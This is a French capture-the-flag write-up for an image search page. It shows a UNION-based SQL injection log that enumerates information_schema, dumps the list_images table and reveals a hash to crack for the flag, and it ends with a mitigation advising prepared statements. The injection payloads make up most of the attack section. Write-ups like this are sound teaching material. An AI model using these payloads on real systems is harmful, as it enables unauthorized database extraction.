Image search SQL Injection

EXPLICATIONS

Comme relevé dans la phase d'énumération (voir ENUMERATION – partie 6), une page nous permet de rechercher des images. Aucune vulnérabilité ne semble réellement exploitable sur cette page en tant que telle.

Cependant, en utilisant l'injection SQL de la page **Member**, on peut leak le contenu de la base de données contenant les images.

On va procéder exactement comme pour **Member_Sql_Injection** (pour les explications détaillées de l'injection, voir les explications dans ce dossier). Ainsi, on utilise notre script **inject.py** avec les payloads d'injection SQL UNION :

```
➜  Ressources git:(master) ✗ python3 inject.py
Injection > SELECT group_concat(schema_name) from information_schema.schemata

---> Injection returns :

information_schema
Member_Brute_Force
Member_Sql_Injection
Member_guestbook
Member_images
Member_survey


Injection > SELECT group_concat(table_name,0x3a,column_name) from information_schema.columns where table
schema IN (0x4d656d6265725f696d61676573)

---> Injection returns :

list_images:id
list_images:url
list_images:title
list_images:comment


Injection > SELECT group_concat(id,0x3a,url,0x3a,title,0x3a,comment) from Member_images.list_images

---> Injection returns :

1:https://www.nsa.org/img.jpg:Nsa:An image about the NSA !
2:https://www.42.fr/42.png:42 !:There is a number..
3:https://www.google.fr/google.png:Google:Google it !
4:https://www.obama.org/obama.jpg:Obama:Yes we can !
5:borntosec.ddns.net/images.png:Hack me ?:If you read this just use this md5 decode lowercase then sha25
 to win this flag


Injection > SELECT group_concat(id,0x3a,url,0x3a,title,0x3a,comment) from Member_images.list_images WHER
 id = 5

---> Injection returns :

5:borntosec.ddns.net/images.png:Hack me ?:If you read this just use this md5 decode lowercase then sha25
 to win this flag ! : 1928e8083cf461a51303633093573c46


Injection >
```

Comme pour **Member_Sql_Injection**, on leak les bases de données, puis les colonnes des tables de **Member_images**, puis le contenu de la table **list_images**, et enfin le **row 5**. On voit qu'il faut décoder un MD5, le passer en minuscules, puis calculer son SHA256 pour récupérer le flag.

Décrypter le MD5 peut se faire de plusieurs manières (voir **Crack_Htpasswd_Hash**) ; on utilise ici

simplement une rainbow table en ligne. Le MD5 correspond au string **"albatroz"** ; on calcule son hash SHA256, et on obtient le **flag**.

RESSOURCES

Le script **inject.py** ainsi que les payloads utilisés pour reproduire les étapes présentées juste avant.

MITIGATION

> Implémenter une validation correct de l'input utilisateur en base de données. Utiliser par exemple pour cela des **prepared SQL statements**.